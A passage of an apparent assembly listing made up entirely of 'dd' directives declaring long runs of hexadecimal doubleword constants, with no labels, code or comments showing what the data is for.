		dd 0E9D60905h, 5385FF2h, 3EF950E3h, 930B3855h, 516B8BFFh
		dd 16B97C36h, 62B2EC88h, 6DAE1F93h, 0D32D8600h,	3058052Ah
		dd 7BFD27ABh, 0A4B3814Ch, 0CCC4F380h, 0FE0523E3h, 166CE9CBh
		dd 16BE3088h, 0EC63F641h, 0C34A2887h, 157E5114h, 14EA02CFh
		dd 0C88D1070h, 926FE912h, 0C1801C01h, 0B1C3C230h, 85DFCB28h
		dd 9A44625Eh, 8EFB5FFEh, 0D12E54A2h, 0DDED2563h, 5F517644h
		dd 1660EC06h, 3B92B874h, 0A0C84652h, 46270F4h, 31E938D1h
		dd 0F0CCBA67h, 0BB904A68h, 37EB8031h, 5E5582C3h, 0FC18C42Bh
		dd 83493EB8h, 129D6857h, 8CDE2F35h, 6AB068C0h, 1E41BAEEh
		dd 0DFF8BC6Ah, 0E84A5012h, 0FB0BEA51h, 4427795Dh, 0BD37E08Fh
		dd 36026712h
		dd 0D12B4A05h, 8A12D164h, 8B799CEFh, 81EE2D4Ch,	29060E3h
		dd 3FCAC2Eh, 89827BF6h,	0E0F18A29h, 173CC304h, 0E5420B46h
		dd 210805B0h, 29436865h, 92563E3Ah, 6612F3CBh, 4B8944A4h
		dd 75E9D8E3h, 0C1A2114Ah, 80B2BBD2h, 6396FA62h,	8361285Ah
		dd 7609681Ch, 24CBB62Bh, 0AA66794h, 0ADE0E527h,	508F67B2h
		dd 72699BC9h, 4F1D7C14h, 0B26074BAh, 63A001A6h,	0D1891096h
		dd 4C4F8B2Ah, 3726094Fh, 0ED88818Bh, 0DCC5D6D3h, 0AF74042Bh
		dd 0B87DD0E3h, 21E80241h, 9555F8BDh, 963F8C70h,	0E3CA633Fh
		dd 2E8D2773h, 0B1890959h, 0CBDB04EDh, 41F38107h, 401EF010h
		dd 0D63443C8h, 0F6C16F74h, 2B02DCB8h, 0FBF3E47Fh, 0BC559362h
		dd 8282D170h, 33A82D21h, 23E208C0h, 2477A3Bh, 0AE449BF7h
		dd 8131FE0Fh, 1458AFCFh, 0EB1E8767h, 6B1C5Ah, 5E259431h
		dd 0B269BD1Fh, 2E173A1Dh, 87D4B2A8h, 0C59DEF4Bh, 59AF443Ah
		dd 0D62822EBh, 8A504244h, 8202DE92h, 2FC06A7Ah,	9E240325h
		dd 6504280Bh, 0D582DC2Fh, 52A47597h, 0CCB4BBEFh, 1FFBEEAh
		dd 0E323102Dh, 50E67F30h, 0B807AB5Eh, 0B41F1DBBh, 0E1F31CF6h
		dd 0A034FE4Ah, 2836F6A5h, 0B37F4C46h, 0F2F390CEh, 7856840Eh
		dd 0EBD0E1ADh, 9FAE3B18h, 1818C0E6h, 4B3A74AAh,	4DEB2742h
		dd 6CC1150h, 0F241808h,	2D49173Ah, 468111EEh, 4005F001h
		dd 69CDE907h, 23C153C0h, 4F64D50Fh, 0A53DEA5Fh,	4612447Eh
		dd 7BE93030h, 0AE3AE155h, 18F5BE38h, 2A6A7EDAh,	7282926Ch
		dd 4C71EF27h, 0D738EAEBh, 5680A1A9h, 29261CC4h,	0FD029B90h
		dd 2151804Bh, 0E77E61D6h, 0A14B2A68h, 8E5CCCCh,	0E01082BDh
		dd 0DABF000Bh, 31FF3A1Ch, 0F72EA5DCh, 681712CCh, 55617BB4h
		dd 0FC7E758Eh, 0E959E06Ch, 95477039h, 2E7136D5h, 0C9807D68h
		dd 5F04307Bh, 0E2FE5455h, 5035C562h, 0C1354BEDh, 9F1C1C52h
		dd 0C7CB96FBh, 501B5331h, 0CD5C0A2Dh, 387020EBh, 0BF4E2EDEh
		dd 83302F39h, 0EB515AFDh, 0B1716D27h, 4E7F88FEh, 0EA6F8FE6h
		dd 60FA06F9h, 4A83D9E6h, 6F6496F2h, 821A4FA0h, 9E6C080h
		dd 3DF66806h, 7F601230h, 0E0825D82h, 0FBD5DC08h, 0F5A037AEh
		dd 0A2EC850Ah, 8380C437h, 68585F00h, 4695704Fh,	600B3064h
		dd 1DDEE9Fh, 2553C024h,	0D55C1C02h, 0A8F5400Fh,	65023076h
		dd 0CFCBF24h, 5F313E48h, 25E986E4h, 4AD5C36Dh, 3732C05Ah
		dd 4C212E63h, 1804193Ch, 73873808h, 0BFDAF097h,	0EF2509E7h
		dd 0BF341274h, 0C642D98Dh, 0D45A095Bh, 14277C00h, 21B9CB81h
		dd 4B1028AEh, 82470491h, 0E889EB50h, 0F4B08427h, 3313CED1h
		dd 89D93157h, 0B061C6C7h, 51534416h, 3A0F38B0h,	0A47D3B1Ah
		dd 41BA8D5Eh, 0C5C96DDh, 9806300Dh, 5AB36612h, 430E1FAh
		dd 0F70BC108h, 0B6820476h, 7DC98B8Fh, 95E2ABBBh, 4D1D0A54h
		dd 76428D8Bh, 0F8F68100h, 431BB171h, 0C9B935C8h, 78A46ACAh
		dd 0CC864191h, 0D369F6D9h, 9B7AD508h, 80B8E928h, 0FA0988E2h
		dd 2B8E685Bh, 0D021DCD0h, 29800310h, 94B0C9C5h,	6D14492Bh
		dd 95247F95h, 3B6CE99Ah, 84F1A5CFh, 0D4EB2DEBh,	90E98428h
		dd 0AD635715h, 28E80658h, 0A49C07EAh, 1CF90951h, 58B76E78h
		dd 58E9E002h, 2F910877h, 18A7D77Eh, 48D6F74Dh, 0A644B957h
		dd 4ECAEC54h, 397D3753h, 0F0928885h, 0E274BA46h, 0B427AB26h
		dd 0AC053410h, 305E7768h, 0F6B4B6D9h, 924BDE4Bh, 2DDFF680h
		dd 1616B6D5h, 0EB6620E9h, 721613CBh, 4288BAA4h,	993912EBh
		dd 7F3C004Bh, 8115A26Ch, 1740CD3Dh, 0F70C7B36h,	39EEFD25h
		dd 290F2D80h, 93A5C601h, 0A928AE8Bh, 4FA3B030h,	5AD4A44Dh
		dd 0F78829Fh, 334875BEh, 3EFA5557h, 5A1A9160h, 3944B850h
		dd 5EFC580Ah, 0FA1385C6h, 49F2CA82h, 0A4845682h, 839812CBh
		dd 3CF3DDF8h, 4204CF07h, 8B958F2Ch, 1C81D3E0h, 9759F6E7h
		dd 0DF6E020Eh, 4F5C08Eh, 0BC176241h, 0CA402695h, 73C5BE81h
		dd 0EC3E53AEh, 0F007739Bh, 68ADF3D5h, 6A71DE39h, 5D2C02C7h
		dd 5ADF76FEh, 0C4F89564h, 0F2C2EB5Eh, 2DB6445Eh, 31EA6B82h
		dd 0D6818B2Eh, 2227BE3Fh, 6E740456h, 9B810BFDh,	342A196Ch
		dd 0F00E1608h, 81BD5836h, 41ACE9D6h, 0D9E336Bh,	0D8B0D94Ah
		dd 581B7A61h, 0FB5B1D89h, 60EC8445h, 76046FAh, 3E0FE64Ah
		dd 0E5A5B65Fh, 0F2FE7926h, 0C8C71090h, 0B54C9A40h, 51C60BC8h
		dd 960DB53Dh, 8EBCC1EEh, 3ABEA1D7h, 5BD29FC8h, 0E5EAB856h
		dd 9F450C04h, 0BA4225EFh, 4868FD90h, 3378BDD8h,	6407F751h
		dd 14B5DD6h, 0BE092356h, 0F28E665h, 20A215CFh, 1A587EA6h
		dd 68CA3004h, 37BA7D78h, 79D8B6CFh, 12AF277h, 6812437Ah
		dd 62AE3458h, 127F4279h, 0AE87DF13h, 0C7B1056h,	0C4028BBBh
		dd 0F8E96D8Ah, 927056F2h, 6CBA0106h, 7F33A5FCh,	0E90C4201h
		dd 99AF3ED5h, 98D516F5h, 68B64F7h, 43B8C1h, 0D1F6AEC9h
		dd 90DFB753h, 5359C99h,	0C01B17BEh, 55CE81C3h, 15303616h
		dd 6EE3AE01h, 0F46F1346h, 0B801E230h, 0E9727455h, 0D852FF97h
		dd 0F36240D0h, 68813023h, 0A819C0AEh, 6A2FE9F4h, 55EA53Fh
		dd 0EB2E94ABh, 5780B2B2h, 39456851h, 5965251Fh,	2169F183h
		dd 7485E536h, 0B4E9DC53h, 0CCFE590Bh, 52792FDh,	0F5BE52DBh
		dd 2AEF4089h, 2C4A1C79h, 4D462FE4h, 881E244Fh, 0BCC20BD3h
		dd 7EC5C344h, 3CE87E58h, 7BEDB8C0h, 0D5A03487h,	0DA2608B7h
		dd 5E390C40h, 7661A5CBh, 3F831009h, 320BC1C5h, 0B4188CAh
		dd 0B3AE5912h, 0B20596E9h, 0C1C89FFDh, 0AD0B3DC5h, 10F90CE1h
		dd 856931D9h, 2135260Eh, 0A3F73080h, 6E0C0503h,	0EB3629E9h
		dd 85EAC733h, 2927F1A7h, 0C0C44A75h, 82671816h,	60EE92D7h
		dd 8066E03Ch, 11B0A468h, 333BF2CEh, 4D700820h, 5A526009h
		dd 2A72061Eh, 1F081EB6h, 0B6003FFBh, 8BF6800Fh,	5A4BF028h
		dd 0FC96D6F3h, 722C3A09h, 68665205h, 22FB467Fh,	0EC70AC1Fh
		dd 0D2597EB5h, 464A5772h, 0F4E24CB1h, 0FB09EB22h, 0D177657Ah
		dd 5EB5E6FAh, 10A3A650h, 7E5F25EDh, 450283F0h, 68C81964h
		dd 0A19B13FDh, 0C898E31Eh, 9F601172h, 0A197E5D9h, 0D87605A1h
		dd 9B03105Fh, 0BB5B805Eh, 0B348B926h, 0DE815A11h, 0BE4866C3h
		dd 0FC054EBDh, 0D6F2F716h, 49E8D678h, 12802B04h, 342513ACh
		dd 0FEEFEA48h, 78C6B213h, 167B28B6h, 0CDA17FE9h, 31BE2EB0h
		dd 0C24EC187h, 0E8AC65F4h, 0E04E242Fh, 1B36F380h, 5634011Dh
		dd 970262BEh, 72A07B5Ch, 584A60CFh, 0EF807DB7h,	0D7F6CB19h
		dd 0E7E0020Ah, 18D07B49h, 28E1E3E9h, 0E63FC05Bh, 0F6CE0303h
		dd 0B3F9B450h, 0E490F7C4h, 58B353ACh, 0B7712B7h, 505BDC30h
		dd 14751E04h, 73F67765h, 117DAAA8h, 18FBE55Ch, 68227B2Dh
		dd 0DE012C09h, 0B89F0B6Fh, 9EF6D46Eh, 0D6BF7B92h, 495602AEh
		dd 0B58441C0h, 92ECD1h,	79A9E7BEh, 0F8F18978h, 0BA7F408Ah
		dd 1C7C5A0Bh, 17B0108h,	0B0DF8E14h, 3016A5EAh, 3B0C2FA9h
		dd 659BB26h, 296E058Eh,	81EAD94Eh, 7FDD01CCh, 0EE9311F3h
		dd 0F9621E8Dh, 22EB750h, 0E93A886Eh, 22EC279Dh,	0E8BBB732h
		dd 0AE98571Bh, 0F9C048F3h, 75525EC6h, 4FB6BE17h, 4985343h
		dd 62D20C00h, 0E7681D6Bh, 85B34Fh, 18DADE80h, 0DC9DCE29h
		dd 0BAF0C4FBh, 80871464h, 0C04029A2h, 0BEB5A19Dh, 9965EF0Eh
		dd 162CB9C0h, 0CBEECFFBh, 0F6680A00h, 6094D421h, 0DC08860Dh
		dd 0A61B4BDAh, 50C619A4h, 7B407831h, 242849EAh,	10AD1419h
		dd 2435504Dh, 0D5C4FE2Fh
		dd 32A0A207h, 3C414ECCh, 6AE8E7C2h, 5848E728h, 6636165Fh
		dd 97967FBh, 5DA75DDBh,	0A6B09D34h, 0D565774Eh,	0A5D19DAEh
		dd 96F8E761h, 0E220BB29h, 0B5E408E9h, 6850FCF6h, 346252B6h
		dd 88DAD33Ah, 492A6851h, 0A32F9159h, 20151475h,	660747DCh
		dd 535057ADh, 33AEBB51h, 7D51B8E4h, 0D8311F71h,	0C325075Bh
		dd 9C35C160h, 0E0C1F044h, 517E047Ch, 57EB97Fh, 0BFC8093Eh
		dd 5848AE59h, 0B9489410h, 9751234h, 62A0F9DCh, 7C0F22B9h
		dd 8653762Ch, 9A0A408h,	7DDCE3C1h, 3F9ABAC0h, 89744CE4h
		dd 87247620h, 4A049EDDh, 9A00315h, 0D79FAA07h, 6EC3E520h
		dd 9F08BFCh, 6202C6D2h,	80D404C8h, 4737CEBEh, 0D14E1E3Ah
		dd 0C4EE1CE6h, 92B5DA8Fh, 0C0F98974h, 5D8E6809h, 933EAD45h
		dd 21EE0C3Dh, 100B6982h, 17D441C7h, 0E609EF7Fh,	11866002h
		dd 0BC89B1E2h, 804E3AA6h, 0E955DBFDh, 53452730h, 64F968D5h
		dd 0B0856B5Ch, 7C9D520Eh, 3FD66788h, 0D8776C2Fh, 626E758h
		dd 13121E44h, 0B2BD95C0h, 718A0908h, 480E5C1h, 0BB2188EDh
		dd 47E95D08h, 0AB581203h, 6C8330D0h, 0BA614A28h, 77F743CCh
		dd 963C7CDCh, 27DB2116h, 402B550h, 89AE0326h, 0BFCF05D9h
		dd 4ABE8BCCh, 2DB8D04Dh, 7D2D97DDh, 5B44D601h, 5AE9C3D8h
		dd 5860A864h, 43309180h, 0B01D5074h, 0D151065Dh, 1CD7011Ah
		dd 0F626B909h, 0EABE806Bh, 777A1D9Ah, 24E9F060h, 5280C0CAh
		dd 0C2913561h, 0B7560EFDh, 0C19598BAh, 0C04F02EBh, 8288C3D4h
		dd 6B2351D7h, 7F7AABFEh, 2CA85834h, 0C49F6EFBh,	33F5979Ah
		dd 0D746D2CFh, 7202FC33h, 8005EBC0h, 587360E3h,	9221B65Fh
		dd 8CC7FFEAh, 0AA81C214h, 0C5BB6367h, 5E6B7E25h, 0F552FFE4h
		dd 0C0EC24EEh, 6C7798F6h, 8C3487B0h, 0DB8117B5h, 8264579Dh
		dd 4ECDB087h, 0BA85BA74h, 257D14EEh, 3CF3F206h,	0FF2054B2h
		dd 61B80047h, 0D64487Ch, 0A90F3498h, 0D7E88373h, 95D981E5h
		dd 0D540FF04h, 0A443EFC0h, 0D9D49529h, 36BE046Bh, 0EA357818h
		dd 99C2BC19h, 0F96EF6C0h, 7F08A515h, 0CE31058Eh, 7505BB59h
		dd 8EAE0CAAh, 59592C06h, 6767A25h, 0CE45A4F7h, 37408211h
		dd 34650BBBh, 0B5D0E605h, 11B0504Ah, 993F179Ch,	11B11Fh
		dd 0BD61E907h, 8649129Ch, 1F10775Ch, 792B30BFh,	6F0B317Ah
		dd 484512AFh, 3713A4D3h, 2C0E2A55h, 0F3FF1213h,	0ADA4D60Eh
		dd 0BF5F4E87h, 0DC6F4D81h, 68827A22h, 28D9753Dh, 53E7DF9Ch
		dd 5AD08A38h, 0E3D520FBh, 14CC097Bh, 0DD66895Fh, 92EF90Ah
		dd 17540C50h, 984462h, 3474E5B8h, 1F242E7Ah, 0B40F773h
		dd 95D5B4EFh, 9E2B4AC2h, 366C0CF5h, 0FEC9B85Eh,	98FA740Ah
		dd 0EFAFFC09h, 0E1D13E8Bh, 49019EF0h, 0C0DBF181h, 0E06B3884h
		dd 729F2DBBh, 0A447BDD8h, 34807900h, 0BF8B6AE9h, 172F7446h
		dd 910CA5Fh, 547062C1h,	0E4FD64B7h, 65B5EAFEh, 973BCD5h
		dd 0B456EF1h, 42BE1186h, 0A7392BB0h, 9E03B9C0h,	897908ECh
		dd 0DE28818h, 0F9DD773Dh, 9C5DC37Fh, 5EF910A4h,	11625BDh
		dd 5591EBD9h, 0E56AC831h, 811F3082h, 3A1E092Ch,	0A4215E8Fh
		dd 0D990BCE9h, 1203BF57h, 76A305Bh, 446C1D60h, 9199C738h
		dd 2C0FD343h, 6B5A0B18h, 206F8978h, 56F0BEEEh, 6114CBBh
		dd 803C1409h, 0C3EB71C0h, 7DFF7F2Dh, 26C234A9h,	50781576h
		dd 43920968h, 15D54DB8h, 0DAE98522h, 2F5BBFEh, 60454120h
		dd 0B9CD296Eh, 0F8BDC111h, 39A90407h, 1731F8FFh, 7C94B8F0h
		dd 89A20250h, 0F49FE9C5h, 421CFC55h, 5B004369h,	14ECCB81h
		dd 9422AD20h, 93A7EB1Dh, 0E93730FBh, 95923889h,	2769D907h
		dd 1B55E35h, 0B60172ACh, 28F0B39Dh, 8ABB60F3h, 97CC365Eh
		dd 1C13E76Ah, 9BB2C805h, 1E955CE9h, 10A8B2EFh, 134ABC68h
		dd 5760070Eh, 0F77E7147h, 20E621D2h, 6D0CCAE8h,	0E420D95h
		dd 0EDCC022Dh, 7F96E985h, 0C9C2F574h, 0EF97F10Fh, 6D312218h
		dd 14BC5F91h, 825E4213h, 0E1F36E82h, 0E66A7FDDh, 0E1DD5A46h
		dd 3B0E997Bh, 3C7D7089h, 253BC758h, 39CEECBh, 44624EF6h
		dd 0F449CC7Dh, 1B12E731h, 50AA0DF9h, 0EC4E0800h, 1DDC059Dh
		dd 0EEA1268h, 14DDBACFh, 0BE09E727h, 7103F07Ch,	0D3B8A0C3h
		dd 489D01A8h, 48147229h, 0A1372B4h, 9761A473h, 320645Ah
		dd 7589EB81h, 0F5215F4Fh, 82080471h, 5C520C41h,	738CDA24h
		dd 48C5E4CFh, 0E6AD31EBh, 0FE8801C7h, 0B7F884FCh, 6682915Eh
		dd 7A516568h, 0E507676h, 3CE9A8B1h, 0CD12C4D5h,	2DB21659h
		dd 6E894186h, 4FDD3329h, 0F581C8D4h, 0AD02BF75h, 248BD1FFh
		dd 9F7C88CBh, 0EDB5E14h, 261D716Fh, 4C6CCA29h, 0B4128DAh
		dd 5B265E6Ch, 0BFD016EFh, 0A702973Dh, 6960859h,	16786976h
		dd 0DF21A96Bh, 469EF320h, 56B65516h, 10E4085Ah,	1FF6625h
		dd 5329FD05h, 3554E92Dh, 0BCF7DD31h, 131BA684h,	0CD883092h
		dd 0EF485A22h, 81F4A628h, 0A73BBF33h, 4B925C10h, 0FD259AFCh
		dd 72CB0DECh, 0AF787C41h, 9060965Fh, 5C6C2887h,	0CDACB81h
		dd 0D3CD6B60h, 36901301h, 92D7E94Dh, 0BAB94881h, 3F37036Dh
		dd 7938590h, 2F757508h,	7F1251D6h, 6366F975h, 2409AD02h
		dd 18197668h, 985055D6h, 4CB50960h, 0E85721E5h,	1B85850h
		dd 910D34A6h, 0FD31062Dh, 0C42AD52Eh, 0CBB6440Fh, 44EB0720h
		dd 0AFEB8811h, 4740664Eh, 3CEB61F1h, 40579842h,	729F4EE2h
		dd 0C03DB8F7h, 0FE35402Ch, 5D7B6207h, 0DBA5A627h, 0EA77A7A9h
		dd 0B8625D96h, 0EE07CE72h, 6F187F54h, 1B7AC660h, 0E9CB1780h
		dd 5A758230h, 0FF5AB3F4h, 0D7693C73h, 0F62A99E6h, 8B09C55Dh
		dd 8014653Eh, 8549900Ch, 44C9A022h, 2AEA2E62h, 12081E30h
		dd 487EA126h, 0BDAAC23Ah, 54B87050h, 4A99EB00h,	39E97BAAh
		dd 18A0BA4Bh, 449741A1h, 580E77Eh, 8D6850A9h, 3E007C1h
		dd 0F577CC25h, 7E538773h, 5A8BAB16h, 0B325A2Dh,	0CE87798h
		dd 7ABDD0A4h, 96D0BC13h, 0F19BA85Ah, 7A34FAE9h,	26D22568h
		dd 3320E3C6h, 0B0E0971Fh, 0A02DCEAh, 89582155h,	0E9A189D5h
		dd 0D344FE9Ah, 5D83C8AFh, 8CFAAE4Ah, 0F9D6B644h, 0AB5E23F7h
		dd 68529143h, 41A3CC4Dh, 36584C1Ah, 6E97F9FDh, 2D01C8C8h
		dd 1ACD2660h, 5F4C283Fh, 3084514Ch, 0A0685BF5h,	75059A46h
		dd 0BEC683FFh, 624E7F0Fh, 0D538898Bh, 0FBC16024h, 0E5D924E7h
		dd 40532B59h, 0E4D4B00h, 2BF23A2h, 38097C14h, 0BAE0D7F7h
		dd 0E62D0842h, 0C2FD8F1h, 57E94F47h, 59958859h,	0EF736F2Bh
		dd 0F8081B8Dh, 0A7F26556h, 31D1EEC5h, 4C20FD29h, 9DC9928Dh
		dd 41EE1027h, 3C9F2342h, 0CB011381h, 7CFCFA01h,	77202A5Ah
		dd 481472E2h, 460662C4h, 286FEF1Dh, 880E590h, 0F82CE959h
		dd 0E7BC927Fh, 7DB1F77Eh, 46A7126Eh, 2F02D4Ah, 0EDC620h
		dd 0E107705h, 18C1352Eh, 2D66620Eh, 1D1982B1h, 102BC155h
		dd 0C188F651h, 0F75A75CAh, 8740912Eh, 0E70B03A5h, 0B7AA8572h
		dd 27AC9795h, 0DED6D1D3h, 4B816D78h, 0D1B516EAh, 1413C06Eh
		dd 0AFB4AF00h, 0BCA7CC80h, 0CAE90B43h, 99B432D8h, 825EC683h
		dd 7BC7E4F5h, 0FFE8FF6Bh, 0DB67E5E9h, 0EB75DFB3h, 2F1C195h
		dd 1D1AD764h, 80A2C6DCh, 73131FE2h, 6FBD5043h, 0EF0C165Ah
		dd 35F36064h, 0FC6DBE17h, 90E2E743h, 0FEB6D223h, 0C506A05Dh
		dd 0ED4BC011h, 425C5992h, 0D5257AB3h, 0DEAD50C7h, 3DC943DFh
		dd 79EBDC4Eh, 553160F7h, 41706805h, 7872262h, 8012C614h
		dd 0EA13BD96h, 40409AD4h
		dd 49A45E07h, 7EDF8925h, 31D042EFh, 0BEB965D5h,	0FF80E0AFh
		dd 5854505Ch, 1714F94h,	0E9013302h, 163D6965h, 3407A04Ch
		dd 0D40EB83Fh, 7A45FC0Dh, 0BE3DE60Fh, 6598035h,	0B7299075h
		dd 0E3A526C5h, 106FF33Ah, 73801E5Ah, 883DC307h,	8F9F5BD9h
		dd 0D524DFA5h, 12F3D8ADh, 739B111h, 0E4094E2Eh,	0F100BE50h
		dd 2041AECEh, 71E59045h, 3AFA304Bh, 8A659B28h, 1AF0C55Eh
		dd 27AC504Eh, 685C16C4h, 0D60EE82Bh, 10395107h,	0FF9B6367h
		dd 4D48F9E2h, 580473E7h, 5FE909B7h, 0BE07AFE8h,	0CF17AD7Eh
		dd 142FD146h, 8BDBF4B5h, 1C553CCBh, 69E7A094h, 35848241h
		dd 68FED083h, 9BB71D53h, 6F6CF865h, 0E9430B34h,	0B1F47A14h
		dd 0D7881B87h, 78BDC1A3h, 87142747h, 0F569AFD1h, 0F800D793h
		dd 51AB2B09h, 0C597E946h, 0C301A3h, 96699FDh, 0B7FC4168h
		dd 46E9774Eh, 0BE84E085h, 0BCBB6C34h, 5A05851Bh, 5569B3ADh
		dd 9252358h, 68BCC84Ah,	8C124E11h, 0FE00CAB1h, 885066C6h
		dd 0E9D0F6F0h, 80581083h, 0F19FDFEEh, 0A58FE918h, 0B99574FBh
		dd 0FFFA7B89h, 2D2699F6h, 4D0B09h, 8D2F4272h, 0D0017C04h
		dd 1C68081Ch, 9DE90B14h, 2A05D761h, 9575F1F8h, 923FFB7Ch
		dd 0B6AB7BF9h, 0FE277B8Fh, 6F10FE42h, 0BF14B525h, 0BB8554Eh
		dd 0CA310244h, 99A1DE59h, 2B2DFF75h, 5E20A1C8h,	3A2DBA6Fh
		dd 0BD92CDF8h, 0E440B27Eh, 0B53DF847h, 7936E110h, 249A7F95h
		dd 7640947Fh, 0C27499EFh, 5C053A05h, 0CD922CFEh, 3F200DE9h
		dd 0CE2980F1h, 0E53C40B7h, 1355E31h, 21E90680h,	0C0926998h
		dd 33529135h, 16C5904Fh, 0FB22F03h, 0BA6AC6A7h,	5AD68508h
		dd 0C38EFB58h, 8D795716h, 0C7B07F43h, 2FE9F853h, 12F58B98h
		dd 3964DD2Eh, 0B78734BFh, 7C629E51h, 0B359FDBAh, 0B2B050C1h
		dd 2DE96DD8h, 0D20627Eh, 65133A83h, 0E700ECB1h,	2FF729D6h
		dd 0F4882DE9h, 98C36FFh, 0C0FE93B0h, 6F06F05Dh,	9BD0ED8h
		dd 6862AAE9h, 0AE9A235Dh, 0F19F023Ah, 41AA0F7Dh, 0D640A081h
		dd 0D1A96071h, 4E055A00h, 292D367Bh, 742E7C8h, 1E2B5159h
		dd 59E46F86h, 77F01A2Fh, 0FBEF64A4h, 3161C2F5h,	801B4B3Bh
		dd 0EA58A2D2h, 77F607C6h, 0AFD229F0h, 0FDE65F49h, 348B5D16h
		dd 6E9E39AFh, 0C6B61B18h, 3F50502h, 5D4819E9h, 85328993h
		dd 5AE79CD6h, 0FEA4BCC2h, 0A9F173BBh, 0E6273415h, 0F0F610AEh
		dd 0A79342CAh, 98855D97h, 7E415E03h, 3FF29F60h,	0A35AF79Ch
		dd 1F9301F0h, 7D68C9CCh, 0C8F939Fh, 165AA58h, 0D6C2C559h
		dd 0FDB86313h, 74586E42h, 56BD7E20h, 39B7C26Eh,	7EC200Fh
		dd 0F66EF480h, 0BE2FD36Fh, 0A3338E0h, 5140E73Dh, 4A6B0EAAh
		dd 0E98515A9h, 49CE033Eh, 10A3F209h, 6934E160h,	90383C1Bh
		dd 220D0C94h, 1D0C4F41h, 19532710h, 82476F1Ch, 5B138948h
		dd 0E1F8BB9Ch, 0C1E04A9Dh, 0EBE534Ah, 0B5B95B34h, 35CEF82Eh
		dd 3B1EC9Fh, 575BC281h,	0C0946E7h, 0D5450D70h, 202E150Ah
		dd 140CD008h, 78685F04h, 431EE6Eh, 8C666D9Ch, 0F348B900h
		dd 0CB814364h, 60473F2Fh, 1290C383h, 0A0C6E7E8h, 3FE7F7A1h
		dd 613108F1h, 956C69D1h, 67E2099Eh, 0F630D0A0h,	40970CCFh
		dd 0B4DF0363h, 0A40F6204h, 28D87955h, 75EF2F93h, 0B82D7AA5h
		dd 0CAEF4B06h, 32682C9Ah, 66607B26h, 0E87998BAh, 9539ED52h
		dd 0AD467112h, 0C7CE505Fh, 0F14F360Dh, 0EF207441h, 274AE9h
		dd 57B8BAB1h, 89BD66E3h, 0D2CD84FFh, 60555EBAh,	0E1AFEA05h
		dd 49F40FBAh, 0B86C4974h, 55E4A941h, 1F210068h,	0E95D0DF0h
		dd 38913ED4h, 6913DF3Bh, 0F7058CEAh, 0F65C25F8h, 2E0ADE6Ah
		dd 30C0CC17h, 0F21FA23h, 20F4EFBEh, 0D2A1E9E4h,	0C5845B2Eh
		dd 406AE306h, 0D85DE904h, 9BAB4A2Fh, 5B7C1786h,	0AF960EB8h
		dd 5FE9A7DCh, 0A557BC9Fh, 461658FDh, 4D48F352h,	0D0A14FA2h
		dd 0F45F3A92h, 77066D85h, 0C2016B25h, 5808814Ah, 8898A32Dh
		dd 0B8386802h, 8EAF4E30h, 8AEC4A41h, 1352D2A2h,	7737B830h
		dd 20172CC2h, 681B128Bh, 0AAF716AFh, 5CF5283h, 28F1170Eh
		dd 0CDDA0955h, 0C9F9D955h, 6A829F90h, 0A4A0F37Dh, 2B12F8FDh
		dd 22BE313Fh, 0A77FFB8Ch, 26F1F753h, 602B36AFh,	6EEC2D9Ah
		dd 761C2E2Fh, 120720B9h, 0FADC60E9h, 5B7C5AE7h,	0F7B705F4h
		dd 0D2DB82DBh, 675B6CE9h, 0EA407AC3h, 0B7E104B6h, 81F728D5h
		dd 25E52756h, 7AD1D8B8h, 97FEF1BDh, 0C0838347h,	0C18081F7h
		dd 70CEC155h, 0E7B52AEBh, 0B246156Fh, 44E2800Bh, 40B0B306h
		dd 963F5426h, 0E7066F41h, 41D96330h, 280E3F50h,	77E38943h
		dd 82F02F07h, 0C4FD2F66h, 15E925ECh, 0CE084153h, 0D8F70ED4h
		dd 4B24D04Fh, 0BC89AF4Fh, 177B43Fh, 2768F548h, 0BD567BA4h
		dd 3085F3A5h, 0AADDAF5Ch, 1A686A00h, 3C30BF36h,	49582264h
		dd 0D1D3177h, 5160EF29h, 0E95F12FAh, 2A4AB1E6h,	773461AEh
		dd 7DD82B36h, 2B5E89F6h, 51E0CBE8h, 216B73E9h, 4216D583h
		dd 0BF51573Eh, 99CFB9E9h, 881631B5h, 9D9D823Bh,	8BE3BCA0h
		dd 7258F240h, 4B121D6Bh, 0E2A174D3h, 0EA25386Dh, 1D8B027Bh
		dd 11C777DFh, 66FCCB37h, 0D8F482BEh, 0F2F1F6C3h, 0BD2AD085h
		dd 0D6681E30h, 0BCED554Eh, 0C6A0AB8Bh, 0C2175DB9h, 0A0C332DEh
		dd 0B04DD367h, 3D10FEE1h, 0F7973A55h, 236DEEF9h, 0BFC49F30h
		dd 0C15AC256h, 0AF04514Dh, 5C89C2F8h, 0EB8028D0h, 5E3909CFh
		dd 41B8F931h, 0C9B9A45Ah, 0B8DE14D2h, 50946F10h, 2A64DFA0h
		dd 0F0AAC789h, 0EC158FFh, 69C46145h, 4087A83Fh,	7F30E908h
		dd 0BBC53546h, 10B53B79h, 2232ED0Fh, 9EE9EC21h,	5DB87ADCh
		dd 46C06882h, 4560FD7Eh, 1A596B16h, 0D41F581h, 685DE603h
		dd 18550D9Ah, 671955h, 0E0C134F2h, 0EAC6808h, 1A7698BDh
		dd 0E87D8264h, 88383BBDh, 580ADAFh, 250F7583h, 30F50176h
		dd 9F5EE966h, 0ECB8E380h, 141F9E1Fh, 33099640h,	0C38930F4h
		dd 5C522968h, 1BB2324Eh, 41F7CA6Ah, 9025911h, 0BB0F02D7h
		dd 0D89CC8B6h, 0D5569D05h, 1B9C5519h, 8093A138h, 66D905A7h
		dd 5512EC27h, 6224B66Ch, 0F1012E64h, 5D866B39h,	689333B8h
		dd 33CCFB2Eh, 7C3027EDh, 0F51731F7h, 2D00F02Ch,	437FFFFBh
		dd 3E520168h, 0B9AD4E1Dh, 0ADF12917h, 7F328BDCh, 0E37E990h
		dd 56056B2Dh, 5D3B3A1Bh, 2D281201h, 30E0F84Bh, 86674AD2h
		dd 9973D9F9h, 300E09F7h, 5558C5h, 0C6B252F7h, 26C23980h
		dd 3876CABDh, 495D1EF2h, 34546E78h, 0A512AC74h,	2730AF5Fh
		dd 1A1A35E1h, 0BE5BA3Dh, 64D28280h, 2592310Ah, 50DA290Ah
		dd 0DD260BB8h, 842B0803h, 850F467h, 7A60EF5Eh, 27665FC1h
		dd 0C25502F6h, 72080B62h, 0B5C871EBh, 0D1EBA27Ch, 6A1342A5h
		dd 2507C67Dh, 0B3AFF3B1h, 0D9C06CE9h, 0B1673B8h, 40A839B5h
		dd 0B407BB94h, 0B2239AD4h, 780B2DEBh, 0E8E9034h, 41D14B0Fh
		dd 780D83DFh, 0C3E07099h, 7C2F94D7h, 736AD64Ah,	2B9CCC04h
